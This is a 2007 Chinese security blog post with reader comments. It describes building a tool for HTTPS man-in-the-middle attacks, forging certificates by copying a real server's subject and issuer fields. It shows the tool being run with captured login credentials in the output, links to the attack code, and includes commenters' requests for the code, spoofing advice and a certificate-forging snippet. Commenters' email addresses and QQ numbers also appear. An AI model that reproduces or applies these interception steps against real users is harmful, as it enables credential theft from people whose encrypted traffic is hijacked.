心路
死生契阔,与子成说。执子之手,与子偕老。

  • 首页
  • 关于
  • MyIcy
  • 琐记(413)
  • 技术(221)
  • 八卦(104)
  • 读书(20)
  • RSS
  • 据说胡适有36个博士学位...
  • 我给你力吧...
  • 当前Blog无任何评论...
  • 最新论证:先有的嫖客后有的鸡...
  • 好的呀,非常感谢! 我这个当...
  • 云老大,将你的程序修改了下,...
  • cnbeta上有中文的...
  • 当前Blog无任何评论...
  • 舒舒,不要把我给你的邮件随便...
  • 本人有项目想和你合作,有意向...
  • hehe
  • 大哥,你好,Ttyutils的rpm或...
  • 很好
  • 那位兄台纯属路过的。...
  • 我只关心上一个博文的那位兄台...
  •  
     
  • 黑小子's Blog
  • Nick's blog
  • sbilly的乌托邦
  • 80 sec
  • 段段的blog
  • 肉肉的洗手间
  • JY美女
  • 小叶子的空间
  • 螺螺的blog
  • 忽尔今秋
  • Icy's Blog
  • 虚拟面包
  • 涛涛的blog
  • Tomy's blog
  • 王俊的blog
  • 狐狸的叶子
  • demonalex's blog
  • Super*Hei's Blog
  •  
    Powered by: SaBlog
    如何进行https中间人攻击
    Submitted by 云舒 on 2007, September 29, 10:56 AM. 技术
    先说说伪造证书的方法。首先使用openssl来生成一个证书,我这里生成了一个example.crt和example.key两个,保护密码为1234。然后连接到真实的HTTPS服务器,获取真正的证书。再对开始伪造的证书进行修改,将伪造证书的几个字段改成和真实服务器的一样,增加迷惑性。

    这个程序也包含在下面了,代码很短,可以自己看看,我不多描述了,主要用了X509_set_version,X509_set_serialNumber,X509_set_subject_name和X509_set_issuer_name等4个API修改的。不过比较郁闷的是windows下面编译的openssl竟然有点小问题,X509_NAME这个结构体是undefined的,写代码的时候想办法避开就好了。这样做出来的证书,开起来和真实的一样,不过公钥不同,因为如果公钥也用真是服务器的,我们没私钥那么中间人就白做了。

    现在要说的就是怎么做中间人攻击了,对于一般的站点,会同时具备HTTP和HTTPS两种,所以需要在中间人的机器上监听tcp 80和tcp443,然后对数据进行转发。这一部分没什么难的,就是程序写得比较乱。本来forward等几个文件的函数可以合并到一起的,去年我就是这么做的,但是结果bug非常多。这几天突然想起对HTTPS的攻击,就把代码翻出来重写了。代码变长了很多,但是效果好了很多。唯一遗憾的是,貌似对firefox无效,不知道为什么,需要进一步分析。

    我对自己登录xfocus的论坛过程做过测试,密码什么的还是能抓到的,gmail我也测试过,基本没太大的问题。附件里面是代码,编译好的程序和我的测试证书也在,不说了,代码描述吧(代码非常乱,嘿嘿)……

    攻击的时候可以这样:
    代码:

    D:\Projects\HttpsMiM\Release>MakeCert.exe 125.208.7.30
    write fake cert to 125.208.7.30.crt, use this to do the mim attack!

    D:\Projects\HttpsMiM\Release>HttpsMim.exe 125.208.7.30 125.208.7.30.crt

    POST /bbs/index.php HTTP/1.1
    Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shoc
    wave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, applicatio
    /msword, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms
    xbap, application/x-ms-application, */*
    Referer: https://www.xfocus.net/bbs/index.php?act=Login&do=00
    Accept-Language: zh-cn
    Content-Type: application/x-www-form-urlencoded
    Accept-Encoding: gzip, deflate
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.
    .50727; .NET CLR 3.0.04506.30)
    Host: www.xfocus.net
    Content-Length: 90
    Connection: Keep-Alive
    Cache-Control: no-cache
    Cookie: PHPSESSID=033eebeaf4af7c73243ff3901c70f292

    act=Login&do=01&UserName=ph4_yunshu&PassWord=wrongpassword&submit=%CE%D2%D2%AA%
    5%C7%C2%BDssl2 recv erro: error:00000000:lib(0):func(0):reason(0)
    GET /images/title.gif HTTP/1.1
    Accept: */*
    Accept-Language: zh-cn
    Accept-Encoding: gzip, deflate
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.
    .50727; .NET CLR 3.0.04506.30)
    Host: www.xfocus.net
    Connection: Keep-Alive
    Cookie: PHPSESSID=033eebeaf4af7c73243ff3901c70f292


    代码下载:
    http://www.icylife.net/pic/httpsmim/MakeCert.zip
    http://www.icylife.net/pic/httpsmim/HttpsMim.zip
     
    评论
    测试关闭评论审核功能。
    Post by 云舒 on 2007, September 29, 11:40 AM
    再测试一次。
    Post by 云舒 on 2007, September 29, 11:42 AM
    第三次测试。
    Post by 云舒 on 2007, September 29, 11:44 AM
    这次测试成功就说明改好了~~
    Post by 云舒 on 2007, September 29, 11:45 AM
    最后的测试。
    Post by 云舒 on 2007, September 29, 11:47 AM
    真正的最后一次测试。
    Post by 云舒 on 2007, September 29, 11:47 AM
    无聊的很哦~~~
    Post by Icy on 2007, September 29, 12:22 PM
    真正的真正的最后一次测试
    Post by 云舒 on 2007, September 29, 1:31 PM
    偶在做测试嘛~~!
    Post by 云舒 on 2007, September 29, 4:41 PM
    rere
    Post by test on 2007, September 29, 5:20 PM
    前几天说在改的东东 露出江湖了
    Post by 涛韵阁 on 2007, September 29, 5:48 PM
    请问dns欺骗时序号如何获得?
    Post by better0332 on 2007, October 5, 12:28 AM
    你和被攻击者在同一个vlan,arp欺骗然后进行dns欺骗。
    捕获到DNS Query包的时候返回reply包。
    具体你可以看看xfocus一篇关于DNS SPOOF的。
    Post by 云舒 on 2007, October 5, 4:17 PM
    不知道为什么,在我的电脑,httpsmim不能运行,“The system cannot execute the specified program”
    Post by eros412 on 2007, October 9, 5:38 PM
    可能是编译的问题,我用的VC Express 2005,你可以自己装一个编译一下试试。
    Post by 云舒 on 2007, October 9, 5:58 PM
    你的博客好像不能 trackback
    Post by Gomain on 2007, November 26, 8:01 AM
    是呀,这个是一个朋友很早之前写的,呵呵。
    我这个是用的他写的一个老版本,功能很少,本来连RSS,最新评论,水印都没有的,慢慢改成现在这个样子。
    Post by 云舒 on 2007, November 26, 9:32 AM
    来测试你的 -- 关闭评论审核功能,是不是真的可以,呵呵
    Post by veking on 2007, December 1, 9:10 AM
    为什么我用VC++6.0运行MakeCert.H的时候会出现没有找到LIBEAY32.DLL的提示呢,,一个刚学OPENSSL的人....
    Post by an on 2008, January 2, 1:39 AM
    你要先安装openssl库。
    如果是下载的代码手动编译,那么把生成的几个dll文件拷贝到system32目录,或者拷贝到程序所在的目录。你的邮件,我也回复了。
    Post by 云舒 on 2008, January 2, 10:02 AM
    附件有毒
    Post by kkk on 2008, January 2, 11:49 PM
    估计你不是作网络安全的。
    Post by 云舒 on 2008, January 3, 1:27 AM
    那个是行为攻击...
    当然被认为是病毒...
    我大体都会了,,可能证书生成部分还是有问题,而且找不到相关文档..可否请教一下...
    Post by an on 2008, January 13, 2:47 PM
    生成证书是遇到什么问题?
    Post by 云舒 on 2008, January 14, 2:18 PM
    我按相关文档配置好了OPENSSL,而且你的程序也可以运行了,但是用命令行去生成证书的时候确显示我配置错误...
    Post by an on 2008, January 15, 4:03 AM
    那我就没办法了,你仔细看看openssl的文档,我记得很多地方有写怎么制作证书。
    Post by 云舒 on 2008, January 15, 9:08 AM
    为什么只能用125.208.7.30进行攻击呢?
    利用其他网站,都出现SSL HANDSHAKE ERROR.....
    Post by an on 2008, January 15, 4:43 PM
    我给出了代码。
    你可以看看是哪个地方出错出现这样的提示,我的代码现在不在手边。
    Post by 云舒 on 2008, January 15, 6:02 PM
    提示是SSL handshake error,error:00000000:lib(0):func(0):reason(0)..
    找了好久不知道是哪儿出错,,,,
    Post by an on 2008, January 16, 2:39 PM
    难道是SSL的版本不对?还是?
    Post by an on 2008, January 16, 2:48 PM
    还有DNS SPOOF是什么?我在xfocus只只到了ARP SPOOF和DNSHACK,,难道是利用这2个么?
    Post by an on 2008, January 16, 11:09 PM
    如果用cain,该如何运行这个程序呢?我实验了一个晚上...
    Post by an on 2008, January 17, 2:57 AM
    dns spoof你可以看这篇文章,www.xfocus.net/articles/200303/498.html,cain应该是不能用来做dns欺骗的。
    Post by 云舒 on 2008, January 17, 10:42 AM
    cain是可以做DNS欺骗的
    Post by finger on 2008, February 6, 10:31 AM
    我想了解一下你是如何修改证书的
    谢谢
    Post by finger on 2008, February 6, 10:34 AM
    看了下,cain可以做SSL中间人。
    Post by 云舒 on 2008, July 31, 11:05 AM
    似乎很难很难的样子……努力入门-ing
    Post by Crystal on 2008, October 9, 12:48 AM
    怎么源码下不下来啊?能给我发一份嘛?
    Post by crack on 2008, November 10, 7:07 PM
    可能换服务器的时候换掉了。
    你留个邮件吧,记得把@换成别的字符。
    Post by 云舒 on 2008, November 10, 7:45 PM
    我的邮箱:547370331 qq.com
    谢谢你了
    有问题可以随时请教你吧?
    Post by crack on 2008, November 11, 10:21 AM
    怎么没给我发呢?
    Post by crack on 2008, November 12, 11:21 AM
    代码已经发给你了。
    昨天去宁波了,不在公司。
    编译时要安装openssl库。
    Post by 云舒 on 2008, November 12, 12:39 PM
    qq的mail服务器扫描说有安全问题被退信,所以我压缩包加密之后发送的。
    解压密码是icylife
    Post by 云舒 on 2008, November 12, 1:19 PM
    谢谢了!
    Post by crack on 2008, November 12, 1:24 PM
    用arp欺骗行不?
    Post by crack on 2008, November 17, 5:10 PM
    仅仅arp欺骗也不是不行。
    Post by 云舒 on 2008, November 17, 5:18 PM
    具体怎么实现啊?
    没一点头绪!
    很麻烦吗?
    Post by crack on 2008, November 17, 6:21 PM
    这个大哥,
       打扰你一下,好嘛,
       我急需要一个你的代码,可以发给我一份好嘛,你上面的超链接,不可用,
       小弟,在此,不胜感激,,
      
       急急!!!!
        发到我 邮箱里号码?
       393598706这是我QQ
      谢谢你
    Post by lixinhua on 2008, November 21, 1:45 PM

    代码下载:
    http://www.icylife.net/pic/httpsmim/MakeCert.zip
    http://www.icylife.net/pic/httpsmim/HttpsMim.zip
    都不能用哈,
    大哥,发给我一份,小弟,现在需要这方面的代码,
       小弟,在此 先谢谢了哈
       xinhuamoon@163.com
    Post by lixinhua on 2008, November 21, 1:48 PM
       需要伪造证书吗?中间人直接调用openssl实现底层通信,将https server发过来的证书发给用户,那么https怎么保证网络安全呢?
    Post by dylrockies on 2008, December 2, 2:52 PM
    你先熟悉下https协议吧。
    将https server发过来的证书发给用户,你没有私钥,如何解密传输的数据了?
    Post by 云舒 on 2008, December 2, 2:59 PM
    大哥,我根据你以前的代码,在连接网站是数据接收不全,麻烦你把你最新的代码发给我啊,谢谢了。谢谢谢谢···头都大了
    Post by leosheng on 2008, December 9, 4:47 PM
    为了表示我的诚意,我再留一个言,呵呵
    我邮箱leosheng#qq.com
    Post by leosheng on 2008, December 9, 4:52 PM
    再来发一个,呵呵
    我用你以前的代码,和自己的客户端通信时,当一方突然断开后SSL_read()会收到很多空数据,我就在SSL_read()的返回值加判断,如果返回值<=0就SSL_shutdown、SSL_free、closesocket。这样单机测试是可以了,但是在浏览器访问网页时就出问题了,网页只能接收到一部分。我查了下资料,觉得是SSL_read()的返回值处理的不好,据说返回-1或者0的时候也不一定就是错误,还要判断啊什么的,但是搞了几天都不行。马上你给我指点下,谢谢···
    Post by leosheng on 2008, December 9, 7:51 PM
    这个代码是一年多之前写的,当时就没太仔细看。
    这段时间忙,估计更没时间仔细去弄了……
    Post by 云舒 on 2008, December 9, 9:19 PM
    麻烦你把这个源码发给我看下
    你提供的那个地址下载不了了··
    Post by leosheng on 2008, December 9, 10:52 PM
    我知道原因了,是因为浏览器在后面几个线程的时候,用的是不完全握手方式,所以解密出来的东西是不对,造成握手失败,但是不知道怎么解决···晕···
    Post by leosheng on 2008, December 10, 5:18 PM
    我的代码发给你了,今天比较忙,现在才发的。
    Post by 云舒 on 2008, December 10, 5:24 PM
    已经收到··谢谢
    Post by leosheng on 2008, December 10, 6:31 PM
    云舒,能把代码发我份把。
    huooouh#gmail.com
    谢谢
    Post by kingdog on 2009, January 4, 11:09 AM
    已经发了代码了。
    Post by 云舒 on 2009, January 7, 11:25 AM
    请教下,在< 做了件好玩的傻事 >里掉到hook SSl_Write和在od里bp SSl_Write,我用IE和firefox测试,都找不到这个SSl_Write函数,希望有空的时候可以指点一下,谢谢!
    Post by lin on 2009, January 12, 6:22 PM
    这个DLL是在openssl里面的,不是IE和FF里面的啊。
    Post by 云舒 on 2009, January 12, 9:21 PM
    哦.我是想如何截取IE和FIREFOX在HTTPS中POST的明文数据(hook send只能截http的,https是加密了的,想过截取密钥再解,这样工程量太大了),我再研究研究,不行再请教。
    Post by lin on 2009, January 14, 3:16 PM
    一样hook,不过你要hook被浏览器加载的那个dll,firefox可能是ssl3.dll,我没仔细看,只是觉得这个名字很像。HttpWatch可以做,你可以看看。
    Post by 云舒 on 2009, January 14, 4:10 PM
    您好,可以把代码发到我的邮箱吗?
    simul1981@163.com
    感激不尽!
    Post by 云卷 on 2009, February 6, 4:30 PM
    您好,链接地址不能下载,可以把代码发到我的邮箱吗?
    我的163邮箱,simul1981#163.com
    感激不尽!
    Post by 云卷 on 2009, February 9, 9:55 AM
    已经发了。
    Post by 云舒 on 2009, February 9, 1:49 PM
    您能不能把中间人攻击的原理以及过程描述详细一点呢,小的不才,知识面比较窄。多谢。
    Post by LORIN on 2009, February 13, 9:37 AM
    为什么我的本地证书修改不了呢?
    server_cert 是从服务器获得的证书。

    X509* m_cert= NULL;
    FILE *fp;
    if ( (fp = fopen("certificate.crt", "rb+")) == NULL ) return;
    m_cert = PEM_read_X509(fp, NULL, NULL, NULL);
    if (m_cert == NULL) { ERR_print_errors_fp(stderr); }
    X509_set_version(m_cert,X509_get_version(server_cert));
    X509_set_serialNumber(m_cert, serial);
    X509_set_subject_name(m_cert, X509_get_subject_name(server_cert));
    X509_set_issuer_name(m_cert,X509_get_issuer_name(server_cert));
    fclose(fp);

    最后本地证书还是原样,为什么啊
    Post by 云卷 on 2009, February 20, 5:24 PM
    劫持客户的请求之后,怎么知道客户的真实连接服务器ip呢?
    Post by ssl学习 on 2009, February 20, 5:47 PM
    好像最近发了个ssl strip,去看看那个好了。我当年写这个只是验证ssl劫持原理而已,写完之后测试了下就没有再去看这个代码,不纠缠在这些方面。
    Post by 云舒 on 2009, February 20, 6:22 PM
    云姐姐,呵呵,好久没来了,最近小弟的毕业设计在做SSL中间人攻击,需云姐姐的代码来看下,小弟邮箱cnwill_hacker#163.com。先,谢谢了
    Post by cnwill on 2009, March 16, 7:50 PM
    我是已婚男人,要说多少次。
    Post by 云舒 on 2009, March 17, 9:03 AM
    前辈您好,能否也发份代码? 万分感谢。
    邮箱: zhaojunney#sina.com
    Post by mitm on 2009, March 17, 10:28 AM
    毕业设计就做SSL中间人攻击?太牛了
    Post by ssl学习 on 2009, March 18, 6:21 PM
    放到google去了,http://https-mim.googlecode.com/files/HttpsMiM.rar
    Post by 云舒 on 2009, March 18, 8:04 PM
    云 哥
          小弟毕业以您的源码为基础自己开发点其他的不知道可否 ?
    Post by cnwill on 2009, April 21, 10:53 AM
    随便整,这个是07年随便搞的,没什么意义。
    Post by 云舒 on 2009, April 21, 11:40 AM
    谢谢云哥了。
    Post by cnwill on 2009, April 22, 10:48 AM
    请问能不能把代码发我一份呢?
    实在是哪里的下载都好像过期了
    十分感谢
    Post by zahlen on 2009, May 25, 10:13 AM
    不好意思,忘了写邮箱是dali.huang@gmail.com
    Post by zahlen on 2009, May 25, 10:14 AM
    我的毕业设计是要对SSL进行漏洞分析,实验部分无从下手,偶然逛到这里,似乎看到了希望。
    我的编程能力比较差,而且对OpenSSL不熟悉。可以将步骤发到我邮箱里吗?越详细越好,非常非常感谢!
    Post by pan on 2009, June 13, 8:32 PM
    呵呵,是你做设计还是我做设计?
    代码都发布了你还嫌不够么。
    Post by 云舒 on 2009, June 14, 12:12 AM
    代码在哪里呀?
    Post by pan on 2009, June 14, 12:25 AM
    我在评论里面说了,代码在http://https-mim.googlecode.com/files/HttpsMiM.rar
    Post by 云舒 on 2009, June 14, 12:15 PM
    代码里面好像没有调用X509_set_version,X509_set_serialNumber,X509_set_subject_name和X509_set_issuer_name?

    是没有更新?
    Post by cypher on 2009, July 2, 8:54 PM
    请问下能不能把最新的代码发给我下?

    我的邮箱是edison0716  126.com
    Post by cypher on 2009, July 2, 8:56 PM
    问下可不可以再把MakeCert的代码贴上啊,感激不尽~
    Post by WildCat on 2009, August 22, 12:29 PM
    真的抱歉,我在我pc上找了一下,整个项目都不见了。
    我随手写的东西都会随手丢了……
    Post by 云舒 on 2009, August 22, 1:21 PM
    主体程序还是了解得差不多了,但是貌似还少一个步骤呀
    Post by WildCat on 2009, August 22, 3:33 PM
    云大侠:
       看到你写的httpsMiTM的程序,很是钦佩。可是,你能不能给出一份详细的操作流程呢,包括被攻击机、中间人机器、xfocus论坛(https server)的拓扑或ip图,我对那
    个DNS spoof 很是困惑,自己试了很多次都没有成功。
       看到的大侠们也欢迎指教。
    Post by wying on 2009, November 25, 10:35 AM
    添加评论
    您的名字:
    您的E-mail:
    评论内容:
    验证码:
    Processed in 0.442377 second(s)